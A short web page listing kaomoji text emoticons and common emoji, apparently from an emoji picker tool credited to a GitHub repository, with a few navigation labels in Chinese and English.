⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
Next